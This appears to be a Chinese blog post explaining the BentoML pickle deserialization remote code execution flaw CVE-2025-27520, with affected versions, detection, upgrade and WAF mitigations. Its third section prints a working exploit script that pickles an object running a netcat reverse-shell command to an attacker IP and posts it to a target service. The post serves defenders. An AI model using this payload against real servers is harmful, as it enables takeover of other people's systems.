BentoML远程代码执行漏洞(CVE-2025-27520)详解与防护指南

BentoML是一个流行的Python开源库,专门用于快速部署和管理机器学习模型的在线服务。近期发现了一个极其严重的安全漏洞------远程代码执行(RCE),编号为CVE-2025-27520,漏洞评分高达9.8(CVSSv3),意味着攻击者可以远程执行任意代码,完全控制服务器,风险极大。

1. 漏洞基础知识点

什么是远程代码执行(RCE)?

远程代码执行指攻击者通过网络向目标系统发送恶意数据,使系统执行攻击者指定的代码,导致系统被控制、数据泄露或破坏。

什么是反序列化漏洞?

反序列化是将数据从存储或传输格式(如二进制)转换回程序对象的过程。如果反序列化过程不安全,攻击者可以构造恶意数据,利用程序自动执行恶意代码。

BentoML中的漏洞原理

BentoML在处理机器学习模型请求时,会反序列化(deserialize)客户端发送的"payload"(数据包)。漏洞出现在serde.py文件中的deserialize_value函数:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

这里使用了Python的pickle模块反序列化数据,但没有对输入数据做任何安全检查,导致攻击者可以发送恶意构造的pickle数据,执行任意Python代码。

2. 漏洞影响范围

  • 受影响版本:BentoML 1.3.8 到 1.4.2(官方最初报告为1.3.4起,但实际分析确认是从1.3.8开始)
  • 修复版本:1.4.3及以后版本
  • 影响用户:所有使用BentoML接收和处理外部机器学习请求的用户,尤其是直接或间接处理序列化数据的场景。

3. 漏洞利用示例(Python代码)

攻击者可以构造一个恶意的Python对象,利用__reduce__方法执行系统命令。示例代码如下:

python 复制代码
import pickle
import os
import requests

# HTTP请求头,指定内容类型为BentoML的pickle格式
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

# 恶意类,利用__reduce__执行系统命令
class Evil:
    def __reduce__(self):
        # 这里以启动一个反向shell为例,连接攻击者主机
        return (os.system, ('nc 192.168.1.100 1234',))

# 序列化恶意对象
payload = pickle.dumps(Evil())

# 发送恶意请求到目标BentoML服务
requests.post("http://目标服务器IP:端口/接口路径", data=payload, headers=headers)

说明:

  • nc是netcat工具,用于建立网络连接,攻击者监听1234端口,服务器连接后即被控制。
  • 真实攻击中,IP和端口需替换为攻击者控制的地址。
  • 该请求会被BentoML反序列化,执行os.system命令,导致远程代码执行。

4. 漏洞产生的原因与历史

  • 该漏洞是之前CVE-2024-2912的"复现",原漏洞在1.2.5版本修复。
  • 但修复代码在1.3.8版本被意外移除,导致漏洞重新出现。
  • 1.4.3版本重新修复了该问题,禁止了不安全的pickle反序列化。

5. 如何检测是否受影响

  • 查看BentoML版本:
bash 复制代码
pip show bentoml
  • 检查版本号是否在1.3.8至1.4.2之间。
  • 也可以在Python环境中查找bentoml-版本号.dist-info目录。
  • 生成软件物料清单(SBOM)检查依赖链中是否包含受影响版本。

6. 如何修复和防护

最简单有效的办法:升级BentoML

bash 复制代码
pip install -U bentoml==1.4.3

升级到1.4.3或更高版本,官方已修复该漏洞。

临时缓解措施

  • 配置Web应用防火墙(WAF),阻止Content-Type为application/vnd.bentoml+pickle的HTTP请求。
  • 对输入数据进行严格验证,避免反序列化不可信数据。
  • 监控异常网络连接和系统行为,及时发现攻击迹象。

7. 代码示例:安全升级后的反序列化示范

升级后,BentoML会拒绝不安全的pickle请求,示例伪代码:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if payload.metadata.get("content-type") == "application/vnd.bentoml+pickle":
        raise ValueError("Pickle deserialization is disabled for security reasons.")
    # 其他安全的反序列化逻辑

8. 总结

关键点 说明
漏洞类型 远程代码执行(RCE)
漏洞原因 不安全的pickle反序列化
受影响版本 BentoML 1.3.8 ~ 1.4.2
修复版本 BentoML 1.4.3及以上
危害 服务器被远程控制,数据泄露,服务中断等
推荐措施 立即升级BentoML,配置WAF,监控异常行为
相关推荐
学长毕设8 小时前
基于springboot的食品仓库管理系统
java·spring boot·后端
滴滴答答哒8 小时前
ASP.NET Core + FaceRecognitionDotNet 人脸识别实战:DI 单例、特征向量持久化与 1:N 比对
后端·asp.net
ZhengEnCi8 小时前
Agent 架构怎么选:从单 Agent 到多 Agent 编排的选型决策指南
算法·架构
秋天的怀念_David9 小时前
第二十二夜 · 数字迷雾
java·程序人生·算法
Pniubi9 小时前
力扣283移动零(双指针法)
算法·leetcode·职场和发展
hhb_6189 小时前
大模型落地三重优化实战
人工智能·算法·机器学习
云和数据.ChenGuang10 小时前
光哥说Python RAG 系统需要哪些评估指标:从检索到生成的全链路评测指南
网络·人工智能·python·算法·langchain
captain37611 小时前
MyBatis操作数据库(入门2)
java·数据库·spring boot·后端·spring·mybatis
2601_9707038311 小时前
工业除湿机租赁:把一份租金合同拆开看
大数据·数据结构·算法·数据库架构·推荐算法
心中有你021411 小时前
Java实现Dijkstra最短路径算法(邻接表 + 优先队列)
java·数据库·算法